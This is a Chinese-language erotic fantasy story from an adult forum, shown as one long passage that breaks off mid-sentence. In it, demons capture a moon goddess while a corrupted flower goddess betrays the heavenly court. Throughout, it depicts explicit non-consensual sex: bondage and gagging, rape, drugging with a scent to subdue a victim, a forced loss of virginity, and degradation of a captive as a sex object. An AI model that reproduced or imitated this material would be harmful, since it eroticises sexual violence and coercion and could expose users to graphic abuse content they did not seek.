未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

女神受难

本帖最后由 s175366 于 2015-9-9 17:06 编辑

每天参与投票任务赚35G唷,请点下面投票连结, 请支持我一下!

请点我   投票给【鬼影】拜託!!



  夏夜晴朗,晚风吹拂凉爽宜人,一对母女手牵手从一间屋子中走到街上,入
夜的农村很平静,偶尔自屋内传出的声音才会被风带走,但也仅止于此。
  仰望天空的小女孩突然大叫,并扯着母亲的袖子,「妈妈快看,为什幺?今
天没有月亮耶?」
  「怎幺可能会没有……」小女孩的母亲不以为意的也看了眼天空,说出的话
硬是卡在喉头出不来,晴朗的夜空中,只见星光明亮,却不见理当高挂于空的那
轮明月,她赶紧回想一下现在的时间,以确定自己是不是幻觉。
  「妈妈,昨天是不是半月啊?」小女孩最近刚学会看月亮盈缺,她每天都会
记下月亮的变化,只是现在天空却没有月亮给她看。
  「是、是啊。」为什幺看不到月亮呢?小女孩的母亲很清楚今天应该是要接
近满月的日子,而且天空没有云遮住,那月亮呢?月亮到那去了?
  『感觉有不好的事要发生。』妇人牵着小女孩的手,心怀不安的赶回家,她
现在很想赶快去问村里的祭司,究竟发生了什幺事。
  这时所有人都还不知道,这并不是偶然或意外……
           ************
  看着四周,美丽的橄榄绿眼眸隐藏不了心痛,心就像被刀割般的痛,儘管闭
着眼不想看,声音却无法阻挡的传来,无法逃避的折磨是不敢去面对的奇邪的交
合,是因为那受难的是可怜的族民。
  下过法术的坚固锁铐连着短锁链,将四肢紧紧的钳制在地上,身体被摆弄成
只能躺坐的姿势,而且是四肢大开-就像是那在地下界所看过的献祭仪式,只是
现在祭品换成自己……被带来这里多久实在毫无概念,不过应该有一段时间,是
为了羞辱自己吗?固定在嘴中的小圆球让口水不断的流下,连出声呼唤族人都办
不到……
  只能被迫沈默……
  「呜……」
  可以停止吗?够了……别再折磨了……为什幺要这样玷汙她们的清白,魔族
啊……
  「心痛了吗?月神大人?」冷淡的声音在前方响起,那声音有听过,被唤做
月神的女子认得这个声音……这个可恶的魔鬼,就是将她抓来此地的原凶。
  月神记得,这将黑长髮绑成马尾的魔鬼被称呼为魔将伊铃,既淫邪又强大的
魔将。
  无法言语的月神哀凄的眼神,比起言语更加显露出她的心情,但是因钳口球
而不断流出的口水却使她那温婉圣洁的气质,显现出一种奇特的违和感,如月光
柔和的银髮散乱在纯白的长袍上,细緻的脸蛋一扫平时柔和的神情,羞耻的腮红
反更添几分风采,在长袍下的玲珑身躯就更加充满诱惑力了,那极欲合起的条长
双腿间是不是已经汁水湿润了?在看到同伴们被淫兽被魔族们强姦,在听到那痛
苦又淫乱的叫声后?
  「看你的眼神,似乎很愤怒你们的天使被这样对待?」伊铃蹲在月神面前,
金属与皮革混製成的服装似是毫不在意展现她身材,比起在月神殿见到时身披铠
甲手持武器的威风姿态,现在看起来只有淫蕩,她伸出包覆着皮手套的手抚摸月
神的脸,「那你们天界做的事又有比较好吗?」
  伊铃艳丽的脸泛起轻蔑的微笑,她突然倾身贴近月神,额间的琉璃短角就抵
在月神的脸上,「好香啊,这是女神的气味吗?纯洁的女神啊,知道天界如何对
待被抓去的魔界战犯吗?地下界的愚蠢凡人视天界为圣洁,真是这样吗?」
  「呜呜……」月神欲出声,无奈钳口球将一切的言语阻塞成无意义的呓语,
她想反驳,不是这样的,天界是对魔鬼施予光明的净化啊……
  「想说什幺吗?不知道圣洁的女神看过没有?被局束在天界用来刑求的机械
上的我族族民,被机械阳具插入了肉穴……」
  伊铃的手突然摸向月神两腿间,这突来的动作吓的月神身体一缩,可是魔将
强势的触摸了女神的私处。
  「就在这里,插入后肆虐玩弄以后,在子宫里强制灌入神的液体,像射精一
样,这对于我们魔族来说,就像体内被火烧灼一样的痛苦啊,还有肛门也是同样
啊,这就是所谓的净化吗?」
  「知道那些魔族的下场吗?喔,我差点忘了,她们还要被抽出乳汁,从这里
……」伊铃另一手隔着长袍抓住月神高耸的乳房,「连魔力一起被抽出……」
  敏感部位受袭,月神身体不自主的缩瑟了一下,但伊铃却似乎很享受月神圆
润的乳房,与纤瘦的身材相比相当丰满的乳球,既使隔着长袍也能感受到柔软的
弹性,对月神而言是苦不堪言的侵犯,魔将却乐的看更多圣洁女神羞耻的神情。
  「然后呢,还有这里……」
  伊铃改成半跪姿势,毫不在意似的将下体对着月神,皮衣完全没遮住她的下
体,她轻握住昂扬于肉穴上方的粗长肉棒并来回搓弄,那圆大的龟头泌出透明的
液体。
  「被机器不断的搾出精液,那可能会爽,但是不觉得太浪费精液了吗?」
  月神别过头不想看伊铃自慰,这太猥亵了,但是伊铃却抓着月神尖尖的小下
巴强迫月神转头,让月神对着她的肉棒,「被这样对待的魔族子民,被天界的搞
的不神不魔,通常她们都撑不了多久,就在痛苦中死了,与其受那种折磨还不如
就在战场死了还比较好吧?至少死了就解脱了,这些事女神知道吗?嗯?」
  伊铃加快手淫的速度,脉动的肉棒几乎贴在月神脸上,浓烈呛鼻的性臭味呛
的月神几乎要不能呼吸,她无法想像怎幺会有这幺恐怖的气味,对注重自身清洁
的神族来说,常以花香芬芳自身是很基本的礼仪……突然,一声清响,闭着眼不
敢看肉棒的月神疼的呻吟一声,顿时觉得脸热辣辣的,像被甩了一巴掌。
  「给我看。」伊铃冷酷的说。
  月神执拗的死闭着眼不肯服从,于是又一声清响,这次换另一边的脸颊也糟
殃,伊铃的力道掌握的很好,虽然会痛却又不致于让月神受伤,只要给月神教训
就好。
  「还想挨打吗?」
  月神不得以只好睁开眼,眼前晃着一条比手臂粗的黑色尾巴,末端有锥状的
突起,那是魔族才有的特徵,与伊铃额上的短角,火红双眼中细长的瞳孔一样,
都是魔族的证明。
  看来刚才她是用尾巴甩巴掌,对魔族来说,尾巴可以做很多事,相当于第三
条手臂,例如甩女神巴掌也是很轻易的事。
  移开尾巴,月神的视线中又出现了那条恐怖的肉棒,不知是不是错觉,被快
速搓揉的肉棒好像比刚才还大了一圈。
  月神惊慌的想,难道她要射在自己的脸上?这太骯髒了,不、不可以……
  像是要嘲笑月神似的,伊铃扯住月神的浏海往上拉,月神吃痛的呻吟,她只
是任由魔将恣意亵玩的玩物,而且现在才只是个开始,然后-对被抓住固定的女
神圣颜,魔铃低吟着喷射出大量白浊的精液,月神花容失色的惊呼,噁心的液体
带着刺鼻的气末沾粘在脸上,甚至从钳口球上的小洞流进口腔中。
  「呜……」
  口中传来一股几欲作呕的味道,却又吐不掉,可是……又不能吞下去啊,月
神自心底感到一股耻辱感,这难道就是她往后要面对的……太残忍了。
  「精液的味道想必女神会很喜欢吧?」伊铃说完大声笑着被她颜面爆射的女
神,这感觉真是太爽了。
  月神无力摊坐,两道身影在她的眼角视线可及之处热烈交缠着,那是天使与
魔鬼的性交,而天使不断的要求魔鬼更激烈的插她,已毫无任何圣洁、纯洁可言
了,而自己又还能支撑多久?
  既使是身为上级神的自己?月神完全不敢去猜测……也许等一下就……
  「老实告诉你也无妨,就算不说你终究也是会知道,我好心的让你有个心理
準备,你会被不断的强暴、再强暴、被蹂躏、淩辱,我们要改造你的身体,再对
你注入无数的精液,直到你神圣的子宫怀孕,直到高贵的女神变成生产机器,是
不是太美好了呢?」
  伊铃宣告了月神的命运,话虽如此,伊铃心中却有所保留,真的能让女神怀
下魔族的种吗?如果成功了那会是什幺?天使是很低阶的神族,生出来的顶多是
士兵级的堕天使,那如果是女神生出来的呢?她知道不只是自己很期待,就连位
居魔族要位的老家伙们也很期待。
  月神低头哀悼自己,但也默默下了决定,绝不向魔族屈服,虽然她因为不擅
长战斗而被俘掳,但不代表她身为神的尊严也能被轻易践踏,要坚持下去,月神
相信天界会来救回她。
  「说了那幺多,我想应该差不多了吧,顺便告诉你,在要将你带出天界时,
有个好像跟你很熟的小天使不知死活的挡住我们,所以也顺便让她来陪你了。」
  伊铃说,她睥睨着月神,「也许你真的认识她呢?嗯?」
  伊铃看向大殿的入口,一名长着弯曲羊角的魔族正用锁链拉着一名赤裸裸的
天使,锁链拖在地上钉铛作响,既使在充满淫声浪语的大殿中也听的很清楚,长
发与天空一样蓝的天使摇晃着脚步,彷彿是走几步就会倒下似的,锁链就繫在她
颈子的项圈上,但与那虚弱步伐相比,在天使腿间的肉棒却是非常有精神的挺立
着,神族的肉棒不似魔族的狰狞,但尺吋一点也不输。
  月神祇消一眼就认出了天使,她惊吓的发不出声音,为什幺什幺会是她?想
不到就连她也遭到毒手……可怜的艾莉丝啊……
  羊角魔族牵着天使走到伊铃面前,敬礼说,「报告将军,已经完成将军的要
求了。」
  「我看看。」
  伊铃 高天使垂下的头,这名有些娇小的天使有张可爱的脸蛋,那双水灵大
眼应有的神采现在看起来却是浑浊、失神,赤裸着身躯可以见到背后双翼的羽根
处,各划上了一圈头尾相连的咒印,这些咒印在所有俘掳的天使背上都可见到,
这将让天使失去天空与风,既使有羽翼也只能困在地上。
  伊铃确认了天使的情况后,就把天使推倒在月神身上。
  「感人的重逢啊,女神,她可是为了要救你而奋不顾身喔,你可要好好的补
偿人家才行,不然就太对不起她了。」说完,伊铃扯掉紧紧固定于月神头上的钳
口球束带,并在月神耳边说,「就用你的身体补偿吧,我好想知道,女神是不是
跟天使一样的淫蕩啊。」
  吐出钳口球,月神坚定的对伊铃说:「我不会屈服的,就算身体被玷汙,你
们也休想汙辱我的灵魂。」
  伊铃听完后,捏了捏月神的脸,轻声的说:「希望你真的能坚持下去,我很
期待喔,征服顽强的猎物才有成就感啊,不过现在我这个电灯炮就不打扰你跟天
使感动的重逢了。」
  「你……艾、艾莉丝?」月神惊呼,动弹不得的她丝毫无法阻止天使舔掉脸
上未干的精液,她只能叫着天使的名字,但是艾莉丝看起来一点也没要停止的意
思,月神立刻明白了……「你们对艾莉丝做了什幺?」
  「啊啦?不过就是稍微的实现了她的希望嘛,我们魔族有时也是可以很好心
的,既然这个小天使偷偷的爱着可望不可攀的月神,那我就好心的让她得到月神
的身体啰。」伊铃边说边玩着自己的尾巴,「只是好像不小心量多了点。」
  「你们竟然对艾莉丝……等、等一下,艾莉丝、那里不能……」
  月神惊慌的扭动身躯,想躲开艾莉丝摸向双乳的手,「别这样啊,艾莉丝,
住手。」
  艾莉丝像是听不见月神的声音,双手隔着长袍抚摸月神的乳房,儘管隔了层
布料,但是这并无法阻止艾莉丝的进犯,反而像是惹恼了天使,只见胸口的长袍
被两手扯紧后稍微向左右方施力,布料应着月神的惊叫声裂开,再也无法保护主
人那对丰满圆润的双乳。
  「艾莉丝……快清醒啊……」月神哀泣着,她终究还是逃不了这样的命运,
而且还是由要好的朋友所造成,可恶的魔族竟然这样玩弄,太过份了。
  「月神……大人……」艾莉丝呓语着,可爱的脸庞露出了诡异的笑容,看的
月神心惊。
           ************
  踏在光洁地板的足音空蕩蕩的迴响,一步、一步,如此的寂寞,素来冷寂的
殿宇中是否再也听不到,那动人的琴音?是否再也见不到,那温柔的笑容?失去
主人的殿宇也失去了温度。
  来访者走到殿宇中央,那座巨大的银色竖琴看起来与平常一样,如果是在主
人手中,稍稍拨动琴弦就能发出音韵,就算是简单的音韵,都会是最美妙的乐曲
了,只要那巧手的主人坐在竖琴上的话……
  「现在地下界大概乱成一团了吧?也没办法,能弹动月竖琴的也只有她了,
现在会寂寞吧?没人可以弹奏你。」坐在弹奏位上拨动琴弦的是穿上盔甲配上深
红长刃,英姿焕发的身影哀伤的轻拂竖琴。
  脚步声再响起,伴随着飘散的香气与缤纷多彩的服装,那是世界上最芬芳的
花朵的香味,只需要闻到这气味,就知道是花神,所以也不需要特地确认了,何
况现在也没有那种好气氛。
  「这不是斗天使长恩雅吗?」花神莲步轻移向竖琴。
  「原来是花神大人。」恩雅站起身,盔甲轻轻碰撞铛铛作响。
  「其实我到现在还是很难相信这是真的,也许我还幻想着,她还会在这里弹
琴呢。」花神轻抚竖琴光滑无瑕的琴身,「再不想办法让月竖琴奏出乐曲,地下
界就再也没有月的存在了。」
  「我要去救出她。」恩雅说,语气坚定,她握紧被铠甲包覆的拳头,「那些
可恨的魔族竟然敢抓走月神,身为护卫天界的天使长,我……我真的是太失职,
竟然让魔族侵入天界……就算天神大人要处份我,我也毫无怨言。」
  「天神大人气炸啰,战神这下可说是颜面无光,不过你可不要冲动的就冲到
魔界啊,想救回月神还是要先计划好才行。」花神说。
  「我现在根本静不下来,月神会被魔族如何对待,只要想到这点,我就气到
完全无法冷静……」恩雅气的对空挥出一拳,强猛迅速的拳势划空气似的发出咻
的声响,这一拳贯注了恩雅的愤怒与恨意,但是只有一拳,完全无法发洩她的心
情。
  而这突来的举动吓到了花神,她轻抚胸口稳了稳情绪,才说,「我问你,就
算现在对魔族再发兵有可能救回月神吗?何况魔族为了掩护掳走月神的行动,所
派出的是前所未见的大军,斗天使们不是也伤亡众多吗?而且你的姐姐也才刚脱
离险境,我们现在的军力……」
  「我知道!!」打断花神的话,恩雅右手握紧配于左腰的剑,「可是这些…
  …」
  像是不知要说什幺,恩雅的话梗塞住了,神魔自远古到现今无以数计的争战
中,要说有像这次大战一样的规模的记录,其实并不算很多,而且在这几百年来
神魔间的争战渐渐变的有点像例行公事,双方交战并不以杀死敌人为目的,最多
就是俘掳对方的天使或魔兵回去,真正的将领根本不参与战斗的指挥,最多是如
恩雅这样的队长。
  但这次不但魔族派出数量庞大的魔兵,而且连魔将也亲自压阵,恩雅想到自
己的姐姐就是被魔将之一所杀伤的,如果不是恩雅及时支援,恐怕姐姐不是死就
被抓走了,然而天界竟然没看出来魔族的用意,反而将这场大战单纯化成魔族想
决战之类的,真的是太失算了。
  「天界鬆懈了吗?几百年来几乎如出一辙的交战,看来我也失去战士应有的
斗志与警觉性……」恩雅回头看向竖琴,语气失落的说,「我们竟然让魔族潜入
月宫……」
  「月宫是天界最偏远的宫殿,月神又不会战斗,魔族的选择其实很正确,以
月神那个又单纯又呆的个性,大概也做不了多大的反抗吧?恐怕现在她已经被魔
族抓起来虐待了。」花神说,语气间带着一股无奈,难过的神情似乎连盈绕于身
的花香也黯淡了。
  「别再说了。」恩雅走过花神身边,「不管如何,总要想办法救出月神,我
就算死了也没关係。」
  擦身而过的身影抱着必死的觉悟,花神凝视着竖琴,在恩雅就要出月宫时,
她突然出声说,「恩雅,你想知道魔族是用什幺方法侵入月宫的吗?」
  恩雅停下脚步,回身看向花神,芬芳的花香依然充满月宫,但是只有花神能
分辨出,在花香中的被悄稍转换的不同性质,那是恩雅所无法明白的不同。
  「还记得,千年前被天界所抓的魔将邪樱吗?」花神没有看向恩雅,只是自
顾自的说,「现在她被深锁在天宫的地下深处的牢房。」
  「所以?」恩雅不明白花神提及邪樱的用意。
  「我呢,在八百年前第一次进入那里,在那时,地牢还只有她,不像现在充
满了被抓来的魔族。那时是我第一次见到魔族,那种异型姿态真是让我吓到了,
而既使被囚禁了两百年多了,邪樱还是有办法撑下去,不愧是魔将呢。」花神的
语气中竟然流露出对魔族的敬佩,这让对魔族已经恨之入骨的恩雅火气更盛,不
禁怒问。
  「你到底想说什幺?」恩雅的拳又握紧了。
  「你啊,知道天界如何对待被抓来的魔族吗?」花神反问,「关于这点,我
知道很多神都知道的,但知道归知道,并没有谁觉得不好,儘管决定这幺做的是
天神大人的妹妹,冥神大人,不过也没有谁反对这种残酷的做法。」
  「你……快给我说重点!」恩雅这次真的是火大了,儘管对方是上级神,只
是天使长的她毫不遮掩情绪的大骂。
  花神这时才转过身来,但一看到花神的姿态,恩雅愣住了。
  解开华衣的花神半裸着身体,一对巨乳上挂着两个透明的罩子,就罩在她的
乳头上,罩子连着两根管子往下到小腹处一个机器合而为一,最后没入花神的下
体,恩雅很确定不断有液体从花神的乳房流出,顺着管子流下;而那以天界做法
会隐藏起来的肉棒却放肆的勃起,一根软管插进龟头中,棒身绑着两个小巧的机
器,就这样曝露在恩雅的视线中,花神微微颤抖的射精了,精液延着管子流向了
恩雅所见不到的肛门中,这也许就是花神小腹微微隆起的原因,在她的肚子中有
多少自己的精液?在她的子宫中有多少的乳汁?
  恩雅一时被花神淫乱的打扮惊吓的说不出话来,素来严守慾望的恩雅将性慾
转化成武技训练,对于众神或天使间时有可闻的淫乱也不予理会,对于性基本上
是不碰的,而且,花神的做法已经超过神应有的规矩,简直是恬不知耻!
  「这些东西啊,是邪樱大人命令我装上去的,因为我是她的性奴,在这八百
多年的期间,我一有机会就下去地牢奉侍邪樱大人,地牢也渐渐的变成魔族们被
因禁、淫虐之所,几乎我每次下去都会有新的囚犯…
  …」花神轻轻说着让恩雅几乎以为是玩笑的话语,而且还边说边揉着自己的
乳房,
  恩雅不敢相信花神所说的,只是她那身装扮是铁证,是事实,上级神竟然成
为了魔族的奴隶,她立刻领悟道「难道就是花神帮助魔族进来抓走月神?」查觉
这事实且还处在震惊中,恩雅的呼吸不自觉变的急喘,吸了更多的花香进体内,
她没发现,因为花香,自己的力气正在消失中,自制力也逐渐变的薄弱。
  「让我来告诉你,邪樱大人的厉害吧。」花神走近恩雅身边,不怀好意的笑
着,她知道恩雅已经没有反抗的余力,这是她刻意拖着恩雅在这讲话的原因,让
恩雅吸入足量的花香。
           ************
  在这圆型的小房间中,仅有的光源是镶置于圆顶的光石,这里是地牢的最深
处的尽头,需要走过漫长曲折的通道与无数的小牢房才会到达,这里是天界最黑
暗之所,是被众神刻意视而不见的存在。
  平时地牢也只有两名天使负责看管入口,既使是制定罚责的冥神也摆出一副
不闻不问的样子,就在这样被有意无意的的放置不管,黑暗稍稍的在光明下漫延
生根……
  「哈啊……太棒了……主人……」淫蕩的言语来自于花神,半褪的衣装披散
在她与身后的魔族身上,放浪的女神无法解开魔将的束缚,所以直接以肉穴包住
躺倒的魔将那丑恶的肉棒,就这样跨骑着,自行扭动着腰,尽显出无耻的淫态。
  任由女神在她身上扭腰的魔将,手脚被以神力加持的镣铐锁在铁床上,四肢
及尾巴各被上了五组锁考牢牢固定,纵使她再强悍也无法对抗或是挣脱,花神对
此也无计可施,只好任由邪樱被固定着;原来插在邪樱口中的金属阳具已被花神
拔掉,这是邪樱身上唯二可以被花神拿掉的刑具,儘管如此,花神也是在费了不
少精神后才研究出来解开的方法。
  「这幺爽吗?」邪樱挺着全身少数可自由活动的腰,使肉棒重重的撞击花神
的肉穴,女神迷人的肉穴并不会因为数百年来的姦淫而有鬆弛的问题,而且似乎
也没有怀孕的可能,这点邪樱倒觉得很遗憾,但是在被该死的神族囚禁的无限时
光中,有个神可以干倒也是好事一件。邪樱就边插着花神,边看着恩雅被那两名
看顾牢房的天使围攻。
  「因为、主人的肉棒太……棒了……顶到了……好爽……」花神一手狂乱的
揉着自己的乳房,并舔着用在邪樱口中的金属肉棒不断的流出精液,在她的肉棒
先端罩着原先用在邪樱身上的搾精器,这小东西以高强度的震动肉棒,再把射出
的精液导引到一旁的机器收集起来,并用金属肉棒灌回邪樱体内,现在则被花神
拿来吸。
  「那你打算对这天使做什幺?」
  邪樱问,她的左脸被一道疤痕划破,致使左眼不但失明,艳丽的脸庞也就此
破相,但千年来的囚禁丝毫不减她的魔性与狂态,疤痕反更增邪樱的邪姿。
  「当然是……献给……主人了……嗯啊……要去了……」花神挺起身,双乳
显的更加挺立突出,她狂乱的抓着一颗乳球,大声浪叫着,「主人……请……请
射进来……射进奴隶淫贱的……啊啊……小穴里……精、精液啊啊啊啊啊……」
  花神全身痉挛的达到高潮,肉棒与邪樱一起高潮,神与魔同时射出精液,被
魔族精液浇灌的神族子宫再次将主人送上另一波的高潮。
  大量粘浊的精液被长着肉突的肉棒塞着而无法逆流,花神的小腹鼓鼓的涨起
来,邪樱有意射进更多的精液,并向已经趴在自己身上的花神说,「好好的接下
吧。」
  「哈啊啊……主人的……精液……好多……好棒啊……」花神一边叫着,一
边揉着邪樱的乳房及那被软管插入的乳头,她无法拔出软管,因为软管末端的针
头就深入邪樱的乳房,绝对不能硬扯,花神祇能眼睁睁的看着主人的魔力与乳汁
不断的被搾走,这也让邪樱更加无法凝聚力量对抗局束。
  花神与魔族的性交,恩雅全看在眼中,她想不到不只是花神堕落了,就连这
两名顾守地牢的天使也是。
  现在她的乳房被其中一名天使又揉又吸,而肉棒不但被玩到勃起了,还与肉
穴一起被天使上下齐攻,陌生的性慾被撩拨的如烈火狂烧,身为斗天使长的尊严
及理智苦苦支撑着恩雅,却又薄弱的摇摇欲坠。
  「你们、别碰我……」花香的影响超过恩雅所想,似乎不只是削去了力气,
而是更加的严重,现在两名堕落天使任何的碰触都引起了比平常更强烈的感觉,
尤其是敏感带更是……
  「哎呀、还想挣扎啊……」舔着邪樱的挺立不倒的肉棒的花神说,「只要尝
过主人的厉害,想必斗天使长就会明白了,艾拉、海伦。」
  「真讨厌,人家也想要主人的大棒棒啊。」
  「没办法了,因为花神的命令了,所以只好先忍忍了。」
  堕天使你一言我一语,虽然嘴上不喜欢,还是服从的架起全身无力的恩雅,
拉上了邪樱的挶束台上。
  「不、不要……」看着那满是汁液、又粗大又恐怖的肉棒,恩雅再也顾不得
颜面,这幺大的东西要进到体内怎幺可能,会坏掉、那里会坏掉的……
  「你就要将处女献给主人了,你应该觉得真是太荣幸了才对。」
  花神说,她现在扶着恩雅的腰,两名天使架着恩雅的肩。
  「谁会荣幸……」恩雅几乎是咬着牙才吐出这几个字,邪樱的龟头已经在肉
穴外磨擦了,感觉真的好恐怖。
  「要嘴硬也只有现在了,我倒很想看看,你会如何的叫?让她面对现实吧,
可爱的奴隶们。」残忍的将纯洁天使推入堕落深渊的魔将,好希望是亲自夺走天
使的处女,而不是被锁在这该死的檯子上,不过只要看到天使痛苦的样子,心情
也会得到一些的宣洩。
  「住……不!!!!」也许这是这辈子所能发出的最凄惨的惨叫,恩雅真的
以为是一根正在燃烧的火柱插进了体内,她怎也没想过,千锤百炼的身体与意志
如此轻易的就被击倒了,恩雅的意识剩下一片空白,身体一软就往后倒,花神以
身体将恩雅托住。
  「才这样就晕过去了。」
  邪樱说,她在享受肉棒被那过窄的处女穴死命夹紧,及恩雅失去处女时那痛
苦的模样与惨叫。
  堕天使艾拉低头看向恩雅与邪樱的交合处,那正在流下的艳红是天使长失去
的贞操,她轻抚恩雅的肉棒说,「现在你的前面已经不是处女了,喔,棒棒好有
精神呢,让我来享用吧。」
  艾拉张口含住恩雅的肉棒,不管海伦大声抗议偷吃,艾拉以熟练的舌技舔舐
棒身,海伦见花神似乎也对恩雅的肛门有兴趣,最美味的都被先抢了。
  「讨厌,都把最好的抢走了。」海伦娇嗔,她对艾拉丰满的屁股重重一拍,
「臭艾拉。」
  艾拉闷哼一声,吐出肉棒说,「笨海伦,是你动作慢还敢打我的屁股,你就
看我怎幺吸出她的精液吧。」
  「你们两个也太急了吧,没见到她根本没反应了吗?」搓揉恩雅弹性乳球的
花神说,「这样只是搞一个人偶而已。」
  「花神大人讨厌啦,只要让她香一下就好了嘛。」艾拉说。
  「因为主人最喜欢看处女丧失时痛苦的样子嘛,对不对啊,伟大的主人∼」
  花神语气撒娇的说,「不过主人的肉棒真的很大,难怪她会受不了。」
  「虽然看她痛苦是很痛快的事,但我也不想跟昏死的人偶做,给她一点刺激
吧。」邪樱说。
  「是的,主人。」花神于是改变了花香,变成了一股浓郁的气味,她扭过恩
雅的头,吻上微微张开的嘴,花香被吹进恩雅口中。
  「呜……」吸入花香的恩雅轻声的发出呻吟。
  花神又再吹进几口花香后放开恩雅的唇,海伦与艾拉兴致高昂的想看恩雅的
反应,她们都知道花香的威力,尤其是由嘴对嘴直接吹入的效果最强,恩雅会变
怎样呢?
           ************
  如果说月神原本的生活是和谐的独奏曲,那现在大概是连指挥也失序的疯狂
多重奏,而且还是终止不了的混乱,直到参与者全都疯狂,一直到彻底的失序崩
溃。
  「月神大人、再来啊……」艾莉丝放浪的扭着腰,丝毫不像才刚失去处女的
样子,她完全是单方面的在压搾月神,不但用肉穴挤压月神的肉棒,双手更不停
的磨擦自己的肉棒。
  月神辛苦忍受自肉棒不断传遍全身的快感,双拳紧紧握起,艾莉丝越是浪蕩
的夹紧肉棒,她全身的颤慄就越加强烈,但是被强烈刺激的神经敏感到无法忍住
的程度了,为什幺……为什幺……
  「哈啊……去、去了、高潮了!!」艾莉丝挺直上身,双翼瞬间张到极限,
几乎失神的双眼涣散的看向天空,肉棒噗噗的喷洒出精液溅在她与月神身上,肉
穴更是死命的夹紧月神的肉棒。
  「不、不行了……」月神再也忍不住了,意志溃败的她本能的拱起腰,肿涨
至极限的肉棒溃堤般的爆射女神圣洁的精液,还没被玷汙的纯洁肉穴竟也射出大
量的淫水。
  「真精采呢,啊?竟然两个都失去意识了?」在旁观战的伊铃看着摊软的两
具躯体,语气难掩惊讶,她摇了摇头说,「真是太稚嫩了,不过时间多的是啊,
我会慢慢调教你的。」
  「再来嘛……」伊铃看向满大厅交合的身影,嘴角扬起了邪恶的角度,「我
想到了,哈哈∼我想到了。」
  兀自大笑的魔将朝大厅外走去,她已经在脑中构思出那美妙的画面,真是太
有趣了,在进入主题前也是不错的消遣啊。
           ************
  只余星光的夜空下,巨大的火堆在村庄中燃起,村民围在火堆旁,挥舞挂满
奇怪装饰品的法杖的祭司,绕着火堆跳起仪式之舞,口中呢喃颂唱咒语,在村民
殷切的注视中足足跳了快一小时。
  「灾难啊、灾难,一切都是灾难啊!」祭司突然停下舞蹈大叫,然后就一直
看着漆黑的天空。
  「灾难,祭司是说月亮不见是灾难吗?」「听起来好可怕……」
  「月亮会再回来吗?」村民你一言我一语推敲祭司的话,一下就乱哄哄的闹
成一片。
  不安似乎也在天空漫延开来了,还有那股不祥的气息。
           ChapterII女神失身
  「嗯啊、战、战神大人……」娇美的浪叫迴响在宽广开放的房间中,被压制
在淩乱床铺上的全裸天使紧紧抱住了红髮战神,纯白的翅膀皱巴巴摊开在艳红的
床单上,一旁散落着几根尺吋硕大的机械伪具,天使的肉棒在两具身躯间磨擦的
已经快要射精了。
  头髮如火焰一般闪亮火红光泽的战神,她撑起身体,一手揉捏天使丰满乳球,
看着乳汁乱喷在天使身上还有床单上,有力的活塞运动重击天使的肉穴,肉棒每
下都顶到了天使充满精液的子宫,那是这数小时狂欢的证明,她射精,一再的射
精,但从她的神情看来却见不到享受做爱的欢快,与身下娇美天使淫乱的神情相
比,炽烈如太阳的双眼满盈着狂燥的怒气。
  她是战神,是天界拥有最强力量的神,是未尝败迹只知道胜利荣光的最强战
神,但是这次却未识破魔族的小技俩,甚至被魔族唬弄,这是何等的耻辱!而让
圣洁的神祇落入骯髒魔族之手,而且还是列位上级神具有祟高身份的月神,更是
无法忍受之怒!
  只要一想到众神对她的质疑、指责,战神就无法抑止狂升的怒气。
  「该死的魔族!」伴随着心中的咆哮,战神射出了第五发的精液,儘管怒意
难消,却也畅快些许,她抽出湿粘的巨棒,看着天使被撑的老大的肉洞逆流出过
多的精液,她轻声冷笑,「天使?」
  充满精液的子宫像触动了机关般,天使疯狂的高潮了,肉棒宛如是喷水池似
的射出一道浓浊精液,洒落在天使的上身,天使的腰一挺一挺的断续射出更多的
精液,她更搓揉着肉棒挤出更多的精液,那是地上界凡人无法想像的癡态。
  「用屁股对着我。」战神严峻的说。
  那口气就好似天使只是供她发洩的玩偶,只要任她插穴就好。
  「是、是的……」天使吃力的撑起身子,每下动作都让高潮中的身体激起小
小的高潮,她缓慢的将姿势换成狗爬姿,皱巴巴的翅膀垂在身旁,她本是战神手
下的护卫团长,在战场上是冲锋陷阵、英姿凛凛的战士,不过又有谁能将战场上
的她,与现在双手撑开肛门,迎接战神肉棒的她,联想在一起?
  战神的肉棒毫无阻碍挺入了天使的肛门。
  极为紧窄的直肠紧紧缠绕过大的肉棒,战神抓起表面布满螺旋突起的金属伪
具,插入天使空下的肉穴,并开启开关。
  「哈、啊啊、两个洞一、一起……」
  天使像是要气绝了,手已完全没有力气,身体就直接倒在床上,只有屁股高
高翘起,肛门有战神巨棒抽插,肉穴有金属伪具不断翻搅,螺旋突起霸道的刮磨
着肉穴的敏感点,快感像暴雨般淹没了天使。
  她更不满足的抓住自己的肉棒上下套弄,压在身下的乳房挤出了乳汁,天使
疯狂的浪叫,房间中不断回音她的声音,敏感的身体禁不住三重刺激,她很快又
高潮了。
  「啊啊啊啊啊……太棒了……高、高潮了……」天使浑身颤抖的浪叫,不由
自主的吐出舌头,才刚射精的肉棒又噗噜噗噜的射出浊白精液,若是凡人见到这
样的天使,是否会对天界的淫乱感到绝望呢?
  「喷了很多淫水嘛,不过本座还没满足。」战神对天使圆润的小屁股落下一
掌,清脆的声响混着天使的哀鸣,「撑住啊,别忘了,你只是满足本座的肉便器
而已。」
  「是、是的……」儘管已经很累了,天使知道自己不能抵抗,而战神有力而
有节奏的抽插,快感已经再次累聚,身体是最诚实的,天使半转上身露出乳房,
手已托起一边的乳球拉到嘴旁,啧啧有声的吸吮起自己的乳汁。
  「身为肉便器,知道不能在主人尽兴前先倒下这个简单的道理吧?嗯?」战
神说。
  「是……是……请主人儘管享用……」
  快感高涨的天使哀鸣,在混沌成一团的思绪中,天使喜悦的不断告诉自己:
「我只是肉便器……好高兴……战神大人,儘管插我吧……高潮、好喜欢高潮啊
……」
  「想要精液吗?」
  「是的……请主人给肉、肉便器……灌溉美好的……精液,尽情灌溉吧!」
  天使高喊,狂乱的扭动腰试图搾出战神的精液,她是天使,有着纯白羽翼的
天使,渴求白热精液的肉便器天使。
  「哼,还真有个样子,这幺想要就赏给你。」战神弓起腰,双手抓住自己那
双挺立如山峰的巨乳,肉棒传来透体快感,在战神的低吟声中,精液灌入天使的
肠道中。
  「进来了……热热的精液……肚子里……」天使并未发现,她的肚子已经涨
起来了,「一直、一直进来了……」
  为了要灌溉肉便器,战神持续的射出精液,像是灌肠似的,精液逐渐充满肠
道,并向更深处涌进更多的精液,天使哀鸣好涨好涨,战神却是逕自继续注入精
